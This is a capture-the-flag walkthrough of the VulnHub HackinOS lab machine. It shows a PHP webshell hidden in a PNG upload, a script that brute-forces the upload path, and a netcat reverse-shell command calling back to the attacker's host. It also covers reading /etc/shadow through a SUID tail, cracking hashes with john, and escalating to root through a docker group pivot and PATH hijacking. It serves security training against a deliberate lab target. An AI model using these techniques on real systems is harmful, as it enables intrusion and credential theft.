Details
This machine is https://www.vulnhub.com/entry/hackinos-1,295/
Recon Phase
First I located the target on the machine
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00022s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00020s latency).
MAC Address: 08:00:27:FD:FE:21 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00023s latency).
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.80 seconds
From there I carried out a service discovery scan
root@kali:~# nmap -sV -p- 192.168.56.102
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 14:47 BST
Nmap scan report for 192.168.56.102
Host is up (0.00012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.63 seconds
Shell Hunting
I first went to the webserver at http://192.168.56.102:8000/
A broken wordpress, it expects the url to be http://localhost:8000, I'll add that to my hosts file then
root@kali:~# echo "192.168.56.102 localhost" >> /etc/hosts
Then a refresh led to
But there wasn't anything obviously useful. But in robots.txt
So onto upload http://localhost:8000/upload.php
I says image, but I'll try some php first, I made a file called shell.php
which contained
<?php system($_GET['cmd']); ?>
When I uploaded it
Then went to http://localhost:8000/uploads/ to see
Then tried http://localhost:8000/uploads/shell.php
I also uploaded a picture of a cat called cat.jpg
but that 404'd too. But back on upload.php in the source
Off to https://github.com/fatihhcelik/Vulnerable-Machine---Hint which revealed https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php which contained
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
$file_name = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
if($uploadOk == 1){
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
echo "File uploaded /uploads/?";
}
}
?>
</body>
</html>
So it checks the mime but not the file type, so the plan was to make a webshell with a mimetype of image/png
then calculate where it was saved to use it. I took a real png file and added the following to the end
<?php system($_GET['cmd']); ?>
Then changed it's extension to .php
, the final file name was shed.png
From there I had to workout where it was saved, as it was just the md5 of the file name + a random number in a small range the easy solution was to brute force check, so I wrote some python
import requests
import hashlib
print("[+] Searching")
for i in range(1,100):
name = hashlib.md5('shed.php{}'.format(i).encode()).hexdigest()
url = 'http://192.168.56.102:8000/uploads/{}.php'.format(name)
r = requests.get(url)
if r.status_code == 200:
print("[+] Found on: {}.php".format(name))
And then ran it
root@kali:~# python3 findFile.py
[+] Searching
[+] Found on: 96bfbb334bdc4dcc3989bedd209a4505.php
Off to http://localhost:8000/uploads/96bfbb334bdc4dcc3989bedd209a4505.php
Now open a listener
root@kali:~# nc -nlvp 4444
And triggered it by going to http://localhost:8000/uploads/96bfbb334bdc4dcc3989bedd209a4505.php?cmd=nc 192.168.56.101 4444 -e /bin/bash
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 36930
$
I have a shell!
Root Hunting
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@1afdd1f6b82c:/var/www/html/uploads$
Now to enumerate, the hostname also stood out as a little weird, but it took me a bit longer to realise why
www-data@1afdd1f6b82c:/var/www/html/uploads$ cd /home
www-data@1afdd1f6b82c:/home$ ls -la
drwxr-xr-x 2 root root 4096 Jan 22 13:47 .
drwxr-xr-x 1 root root 4096 Feb 23 15:12 ..
No users in home
www-data@1afdd1f6b82c:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
No other users, so now find some SUID binaries
www-data@1afdd1f6b82c:/home$ find / -perm -u=s 2>/dev/null
[SNIP]
/usr/bin/tail
[SNIP]
Tail is SUID which is weird, so I tried to get the hash for the root password by reading /etc/shadow
www-data@1afdd1f6b82c:/home$ tail -20 /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::
So I made a file called crack.txt
with the following contents
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/
From there I ran john on it to crack it
root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
john (root)
1g 0:00:00:02 DONE (2019-04-02 16:21) 0.4166g/s 2880p/s 2880c/s 2880C/s horoscope..better
Use the "--show" option to display all of the cracked passwords reliably
Session completed
so the password is john
, time to esc
www-data@1afdd1f6b82c:/home$ su
root@1afdd1f6b82c:/home#
Root, now flag
root@1afdd1f6b82c:/home# cd /root
root@1afdd1f6b82c:~# ls -la
drwx------ 1 root root 4096 Mar 1 18:35 .
drwxr-xr-x 1 root root 4096 Feb 23 15:12 ..
-rw------- 1 root root 57 Mar 1 18:37 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 2 root root 4096 Feb 24 18:49 .nano
-rw-rw-rw- 1 root root 28 Feb 28 18:47 .port
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 169 Feb 9 02:43 .wget-hsts
-rw-r--r-- 1 root root 27 Feb 28 22:26 flag
root@1afdd1f6b82c:~# cat flag
Life consists of details..
Looks like a fake flag, and with some of the other weird things in this box, I eventually found a final file which led me to realise what was going on
root@1afdd1f6b82c:/# ls -la
[SNIP]
-rwxr-xr-x 1 root root 0 Feb 23 15:12 .dockerenv
[SNIP]
It seems to be in a docker container
root@1afdd1f6b82c:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.2 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:ac:12:00:02 txqueuelen 0 (Ethernet)
RX packets 12570 bytes 3360321 (3.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10209 bytes 2030753 (1.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 426 bytes 24114 (23.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 426 bytes 24114 (23.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
The eth0
seems to support that it's a container, so back to enum looking for any way out
root@1afdd1f6b82c:/# cd /var/www/html
root@1afdd1f6b82c:/var/www/html# ls -la
[SNIP]
-rwxr-xr-x 1 www-data www-data 3154 Apr 2 13:43 wp-config.php
[SNIP]
Looking for details
root@1afdd1f6b82c:/var/www/html# cat wp-config.php
[SNIP]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
[SNIP]
So there's a host called
db
and the username and password are
wordpress:wordpress
root@1afdd1f6b82c:/var/www/html# ping db
PING db (172.18.0.3) 56(84) bytes of data.
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=1 ttl=64 time=0.068 ms
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=2 ttl=64 time=0.103 ms
64 bytes from experimental_db_1.experimental_default (172.18.0.3): icmp_seq=3 ttl=64 time=0.103 ms
This leaked dbs IP as 172.18.0.3
, so I took a look in it
root@1afdd1f6b82c:/var/www/html# mysql -h 172.18.0.3 -u wordpress -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 89
Server version: 5.7.25 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Now to look around
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wordpress |
+--------------------+
2 rows in set (0.00 sec)
MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)
A table called host_ssh_cred
is weird
MySQL [wordpress]> select * from host_ssh_cred;
+-------------------+----------------------------------+
| id | pw |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.00 sec)
Nice a hash
hummingbirdscyber:e10adc3949ba59abbe56e057f20f883e
I put this in a file called crack2.txt
and set john on it
root@kali:~# john crack2.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (hummingbirdscyber)
1g 0:00:00:00 DONE (2019-04-02 16:39) 50.00g/s 9600p/s 9600c/s 9600C/s 123456..november
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Creds are
hummingbirdscyber:123456
ssh time
root@kali:~# ssh hummingbirdscyber@192.168.56.102
hummingbirdscyber@vulnvm:~$
The hostname being vulnvm was interesting, seems I wasn't in the same container as before
hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber:
Sorry, user hummingbirdscyber may not run sudo on vulnvm.
hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)
I was in the docker group so I looked for containers
hummingbirdscyber@vulnvm:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
252fa8cb1646 ubuntu "/bin/bash" 5 weeks ago Up 2 hours brave_edison
1afdd1f6b82c wordpress:latest "docker-entrypoint.s…" 5 weeks ago Up 2 hours 0.0.0.0:8000->80/tcp experimental_wordpress_1
81a93420fd22 mysql:5.7 "docker-entrypoint.s…" 5 weeks ago Up 2 hours 3306/tcp, 33060/tcp experimental_db_1
So I attached to the ubuntu one
hummingbirdscyber@vulnvm:~$ docker exec -i -t brave_edison /bin/bash
root@252fa8cb1646:/#
And looked around
root@252fa8cb1646:/# cd /root
root@252fa8cb1646:~# ls -la
drwx------ 1 root root 4096 Feb 28 20:40 .
drwxr-xr-x 1 root root 4096 Feb 27 19:07 ..
-rw------- 1 root root 0 Mar 1 18:39 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwxr-xr-x 3 root root 4096 Feb 27 19:29 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 165 Feb 27 19:06 .wget-hsts
-rw-r--r-- 1 root root 9 Feb 28 20:40 flag
drwxr-xr-x 14 1000 1000 4096 Feb 27 21:44 proftpd-1.3.3c
-rw-r--r-- 1 root root 25 Feb 27 19:32 ssh_cred
root@252fa8cb1646:~# cat flag
Wake Up!
Another fake one
root@252fa8cb1646:~# cat ssh_cred
hummingbirdscyber:123456
Just the creds I already have, back to the main machine, looking for SUID
root@kali:~# find / -perm -u=s 2>/dev/null
/home/hummingbirdscyber/Desktop/a.out
[SNIP]
Interesting, take a look
hummingbirdscyber@vulnvm:~$ cd Desktop/
hummingbirdscyber@vulnvm:~/Desktop$ ll
drwxr-xr-x 2 hummingbirdscyber hummingbirdscyber 4096 Mar 1 23:49 ./
drwxr-xr-x 19 hummingbirdscyber hummingbirdscyber 4096 Mar 2 00:40 ../
-rwsr-xr-x 1 root root 8720 Mar 1 23:25 a.out*
It's a SUID as root, time to look into it
hummingbirdscyber@vulnvm:~/Desktop$ strings a.out
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
setgid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-H
AWAVA
AUATL
[]A\A]A^A_
whoami
;*3$"
[SNIP]
It calls set id functions, system and a reference to whoami. So I ran it to check what it did with that
hummingbirdscyber@vulnvm:~/Desktop$ ./a.out
root
So it just calls setuid, and prints whoami before exiting. But the strings show the call to whoami uses $PATH
, so I can make it use a different one. First make a fake whoami that just spawns a shell
hummingbirdscyber@vulnvm:~/Desktop$$ echo "/bin/sh" > /tmp/whoami
Make it executable
hummingbirdscyber@vulnvm:~/Desktop$ chmod 777 /tmp/whoami
And add tmp to the front of path
hummingbirdscyber@vulnvm:~/Desktop$ export PATH=/tmp:$PATH
Now I can run the program and it should spawn a shell
hummingbirdscyber@vulnvm:~/Desktop$ ./a.out
#
A new shell!
# cd /root
# ls -la
drwx------ 3 root root 4096 Mar 1 23:45 .
drwxr-xr-x 24 root root 4096 Şub 23 13:34 ..
-rw------- 1 root root 331 Mar 1 23:58 .bash_history
-rw-r--r-- 1 root root 3106 Eki 22 2015 .bashrc
drwx------ 3 root root 4096 Mar 1 22:44 .cache
-rw-r--r-- 1 root root 1519 Mar 1 23:41 flag
-rw-r--r-- 1 root root 148 Ağu 17 2015 .profile
-rw-r----- 1 root root 5 Nis 2 16:42 .vboxclient-display-svga.pid
-rw-r--r-- 1 root root 0 Mar 1 23:46 .wget-hsts
Grab the flag
# cat flag
Congratulations!
-ys-
/mms.
+NMd+`
`/so/hMMNy-
`+mMMMMMMd/ ./oso/-
`/yNMMMMMMMMNo` .` +-
.oyhMMMMMMMMMMN/. o.
`:+osysyhddhs` `o`
.:oyyhshMMMh. .:
`-//:. `:sshdh: `
-so:.
.yy.
:odh
+o--d`
/+. .d`
-/` `y`
`:` `/
`. `
This one was real! So I'm done